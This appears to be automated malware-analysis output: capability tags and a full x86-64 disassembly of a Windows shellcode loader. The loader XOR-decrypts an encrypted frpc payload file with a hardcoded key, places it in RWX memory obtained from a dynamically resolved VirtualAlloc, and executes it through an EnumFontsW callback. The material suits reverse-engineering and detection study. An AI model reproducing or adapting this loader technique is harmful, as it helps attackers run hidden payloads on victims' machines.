Function at 0x140001fe0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140041060]
xor rax, rsp
mov qword [rbp + 0xa8], rax
xor r15d, r15d
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], r15b
lea r8d, [r15 + 0x43]
lea rdx, str.C:Users_adminDesktopConsoleApplication1x64Release_frpc_xor.enc
lea rcx, [rbp + 0x78]
call fcn.140005380
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call fcn.14000b3b0
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0x10
cmovae rdx, qword [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140004f40
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], r13
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
je 0x1400020ca
lea rdx, [0x14003b788]
lea rcx, [0x1400425c0]
call fcn.1400068b0
mov rcx, rax
call fcn.140006b20
mov r12d, 2
mov r8d, r12d
lea rcx, [rsp + 0x50]
call fcn.140003810
lea rax, [rsp + 0x50]
mov qword [rbp + 0x98], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x140002103
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x50]
call fcn.1400064e0
mov byte [rbp + 0xa0], al
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
jne 0x140002155
mov rcx, qword [rbp + rcx - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
jmp 0x14000216f
mov qword [rsp + 0x30], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax - 0x68]
test rcx, rcx
je 0x14000217b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rsi, qword [rsp + 0x38]
add rsi, qword [rsp + 0x30]
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov eax, dword [rsp + rcx + 0x60]
lea r9, [rsp + 0x50]
add rcx, r9
mov edx, 4
cmp qword [rcx + 0x48], 0
cmovne edx, r15d
and eax, 0xfffffffe
or edx, eax
xor r8d, r8d
call fcn.140001eb0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x98], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x1400021db
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x50]
call fcn.1400064e0
mov byte [rbp + 0xa0], al
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov r14d, 6
test byte [rsp + rcx + 0x60], r14b
jne 0x140002258
mov rcx, qword [rbp + rcx - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x38]
add rcx, qword [rsp + 0x30]
cmp rcx, 0xffffffffffffffff
jne 0x140002258
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
mov edx, r14d
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001eb0
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 0x68]
test rcx, rcx
je 0x140002272
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
xorps xmm0, xmm0
lea rdi, [rsi + 1]
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
test rdi, rdi
je 0x1400022f7
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140002525
cmp rdi, 0x1000
jb 0x1400022cf
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14000252b
call fcn.140008ec8
mov rcx, rax
test rax, rax
je 0x140002531
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400022d7
mov rcx, rdi
call fcn.140008ec8
mov qword [rbp + 0x60], rax
lea rbx, [rax + rdi]
mov qword [rbp + 0x70], rbx
mov r8, rbx
sub r8, rax
xor edx, edx
mov rcx, rax
call fcn.14000b3b0
mov qword [rbp + 0x68], rbx
mov r8, rsi
mov rdx, qword [rbp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.140003900
lea rcx, [rsp + 0x60]
call fcn.140004e10
test rax, rax
jne 0x140002340
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
cmp qword [rcx + 0x48], 0
cmovne r14d, r12d
or r14d, dword [rcx + 0x10]
xor r8d, r8d
mov edx, r14d
call fcn.140001eb0
movsd xmm0, qword [str.mykey123]
movsd qword [rbp + 0x98], xmm0
movzx eax, byte [0x14003b7b8]
mov byte [rbp + 0xa0], al
mov rcx, qword [rbp + 0x60]
mov rdx, r15
test rsi, rsi
je 0x140002389
nop dword [rax]
mov rax, rdx
and eax, 7
movzx eax, byte [rbp + rax + 0x98]
xor byte [rcx + rdx], al
inc rdx
cmp rdx, rsi
jb 0x140002370
mov rcx, rdi
call fcn.140008f04
mov rdi, rax
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
sub r8, rdx
mov rcx, rax
call fcn.14000ad00
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call rax
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.14000ad00
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, rbx
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov rcx, rdi
call fcn.140008ec0
nop
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140002450
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000243f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002531
call fcn.140008ec0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], r13
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call fcn.140003550
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x4c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp], rax
lea rcx, [rbp]
call fcn.140008520
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x1400024ef
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000251f
call fcn.140008ec0
mov rcx, qword [rbp + 0xa8]
xor rcx, rsp
call fcn.140008ea0
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400121ec
nop
call fcn.140007b40
nop
call fcn.140001360
int3
call fcn.1400121ec
int3